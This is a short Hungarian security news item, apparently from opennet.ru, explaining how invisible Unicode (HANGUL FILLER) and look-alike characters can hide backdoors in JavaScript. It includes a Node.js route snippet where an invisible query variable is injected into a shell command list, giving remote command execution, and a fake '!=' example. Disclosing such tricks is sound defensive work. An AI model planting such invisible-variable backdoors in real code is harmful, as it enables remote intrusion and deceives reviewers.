A Trojan Source támadási módszert követően, amely a bidirekcionális szöveg megjelenítési sorrendjének megváltoztatására alkalmazza az Unicode karaktereket, egy új technikát tettek közzé a rejtett műveletek beágyazására, amely alkalmazható JavaScript kódra. Az új módszer az „ㅤ” (kód 0x3164, „HANGUL FILLER”) Unicode karakter használatán alapul, amely betűkategóriába tartozik, de látható tartalommal nem rendelkezik. Az Unicode kategória, amelybe ez a karakter tartozik, már az ECMAScript 2015 specifikációtól kezdődően engedélyezett JavaScript változónevekben, így láthatatlan változók vagy új változók létrehozására ad lehetőséget, amelyek nem különböznek más változóktól, népszerű kódszerkesztőkben, mint a Notepad++ és a VS Code.
Példaként bemutatunk egy Node.js platformra írt kódot, amelyben egy „ㅤ” karakterből álló változó segítségével egy hátsó ajtó rejtőzik, amely lehetővé teszi a támadó által megadott kód végrehajtását: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // valójában „const { timeout,ㅤ \u3164}” van megadva const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // a vessző után a \u3164 karakter áll ];
Első ránézésre csak a timeout értéke kerül át egy külső paraméteren, és a végrehajtandó parancsokat tartalmazó tömb egy ártalmatlan, rögzített listát tartalmaz. De valójában a timeout változóhoz egy másik láthatatlan változó értéke is hozzárendelődik, amelynek karakterkódja \u3164, és amely szintén be van helyezve a végrehajtandó parancsok tömbjébe. Így egy ilyen konstrukció esetén a hátsó ajtó aktiválásához és a saját kód végrehajtásához a támadó olyan kérést küldhet, mint a „https://host:8080/network_health?=parancs”.
Még egy példaként bemutatható a „ǃ” (ALVEOLAR CLICK) karakter, amely felhasználható a felkiáltójel látszatának megteremtésére. Például a „if(environmentǃ=ENV_PROD){” kifejezés a Node.js 14-ben mindig igaz lesz, mivel itt nem ellenőrzés, hanem az „environmentǃ” változónak az ENV_PROD értékének hozzárendelése történik. A megtévesztő Unicode karakterek között említést nyernek még a „/”, „−”, „+”, „⩵”, „❨”, „⫽”, „꓿” és „∗”.
Forrás: opennet.ru
